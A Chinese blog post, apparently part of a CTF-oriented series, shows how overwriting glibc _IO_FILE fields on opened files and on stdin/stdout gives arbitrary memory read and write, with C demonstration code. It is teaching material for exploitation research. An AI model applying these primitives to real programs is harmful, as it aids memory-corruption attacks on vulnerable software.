前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


最新版的 libc 中会对 vtable 检查,所以之前的攻击方式,告一段落。下面介绍一种,通过修改 _IO_FILE 实现任意地址读和任意地址写的方式。

正文

_IO_FILE 通过这些指针,来读写数据。

如果我们修改了它们,然后通过一些文件读写函数时,我们就能实现 任意地址读写。

任意地址读

代码示例

#include <stdio.h>
#include <stdlib.h> int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_file"; char *buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw"); // 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800; // _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 6; //绕过检查
fp->_IO_read_end = fp->_IO_write_base; // write 的目的 文件描述符, 1 --> 标准输出
fp->_fileno = 1;
fwrite(buf, 1, 100, fp); return 0;
}

任意地址写


#include <stdio.h>
#include <stdlib.h> int main(int argc, char * argv[])
{
FILE *fp;
char msg[100]; char *buf = malloc(100);
fp = fopen("key.txt", "rw"); // 设置 flag 绕过 check
fp->_flags &= ~4; // _IO_buf_base buffer 的起始地址, _IO_buf_end buffer 的终止地址
// fread 先把数据读入 [_IO_buf_base, _IO_buf_end] 形成的 buffer
// 然后复制到目的 buffer
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg + 100; // 设置 文件描述符, 0---> stdin, 从标准输入读数据
fp->_fileno = 0;
fread(buf, 1, 6, fp); puts(msg);
puts(buf); return 0;
}

利用 stdin / stdout 任意地址写/ 读

puts, scanf 等一批系统函数默认使用的 stdin , stdout ,stderr 等结构体进行操作,通过修改这些结构体的内容,可以更方便的实现任意地址读,任意地址写。

stdin 也是 _IO_FILE 结构体


#include <stdio.h>
#include <stdlib.h> int global_val = 0xaabbccdd; int main(int argc, char * argv[])
{
FILE *fp;
int var; fp = stdin; fp->_flags &= ~4; fp->_IO_buf_base = stdout;
fp->_IO_buf_end = stdout + 100; scanf("%d",&var); printf("0x%x\n", global_val); return 0;
}

运行之

成功修改 stdout 结构体

#include <stdio.h>
#include <stdlib.h> int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_stdout"; char *buf = malloc(100); fp = stdout; // 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800; // _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 12; //绕过检查
fp->_IO_read_end = fp->_IO_write_base; // write 的目的 文件描述符, 1 --> 标准输出
fp->_fileno = 1;
puts("<----->this is append on msg "); return 0;
}

成功读到了, msg 的内容。

参考:

https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique

Pwn with File结构体(二)的更多相关文章

  1. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  2. Pwn with File结构体(四)

    前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...

  3. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  4. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  5. Linux_Struct file()结构体

    struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file {        /*         * f ...

  6. Linux--struct file结构体

    struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的  ...

  7. 2018.5.2 file结构体

    f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...

  8. fd与FILE结构体

    文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...

  9. file结构体中private_data指针的疑惑

    转:http://www.360doc.com/content/12/0506/19/1299815_209093142.shtml hi all and barry, 最近在学习字符设备驱动,不太明 ...

随机推荐

  1. android开发 gradle 总结

    gradle结构: MyApp ├── build.gradle ├── settings.gradle └── app └── build.gradle 1. setting.gradle解析 当你 ...

  2. jboss5+EJB3+MDB Queue

    在使用jboss5进行MDB的试验时首先要在jboss5中配置jms 队列. 1)在jboss安装目录下:server\default\deploy\messaging 打开destinations- ...

  3. python中del函数的垃圾回收

    今天学习面向对象里的类被del函数的垃圾回收过程搞的晕头转向,经过了老师的讲解还是是懂非懂,然后看了很多博客慢慢的心里才有了个大概的了解. 刚刚看到一篇博客,觉得讲的很好,转载过来以供参考.以下转自笨 ...

  4. Spring Security构建Rest服务-0701-个性化用户认证流程

    上一篇说了用户认证的基本流程,但是上一篇当访问一个受保护的服务后,如果未认证会调到默认的登录页面,这样是不行的,而且认证成功后,就直接访问了那个服务,如果想要做认证成功后做一些操作,还需要自定义. 个 ...

  5. java泛型---通配符,泛型嵌套

    package generic; import java.util.ArrayList; import java.util.List; /** * ? -->通配符,类型不确定,用于声明 变量| ...

  6. 【Java并发编程】:并发新特性—塞队列和阻塞栈

    阻塞队列 阻塞队列是Java5并发新特性中的内容,阻塞队列的接口是Java.util.concurrent.BlockingQueue,它有多个实现类:ArrayBlockingQueue.Delay ...

  7. Linux-(ls,mv,mkdir,rm,cp)

    ls命令 ls命令是linux下最常用的命令.ls命令就是list的缩写,缺省下ls用来打印出当前目录的清单.如果ls指定其他目录,那么就会显示指定目录里的文件及文件夹清单. 通过ls命令不仅可以查看 ...

  8. 说说java

    先说什么是java java是一种面向对象语言,真正的面向对象,任何函数和变量都以类(class)封装起来 至于什么是对象什么是类,我就不废话了 关于这两个概念的解释任何一本面向对象语言的教材里面都有 ...

  9. MicrosoftOfficeProfessionalPlus2013激活方法

    MicrosoftOfficeProfessionalPlus2013已经使用很久(估计快一年了吧),但一直是未激活状态,每次打开都要弹出那个未激活的提示信息,很烦,但不知道自己怎么能够忍受这么久的, ...

  10. IOS开发常见第三方总结

    链接](https://github.com/languages​​/Objective-C/most_watched) * [three20](https://github.com/facebook ...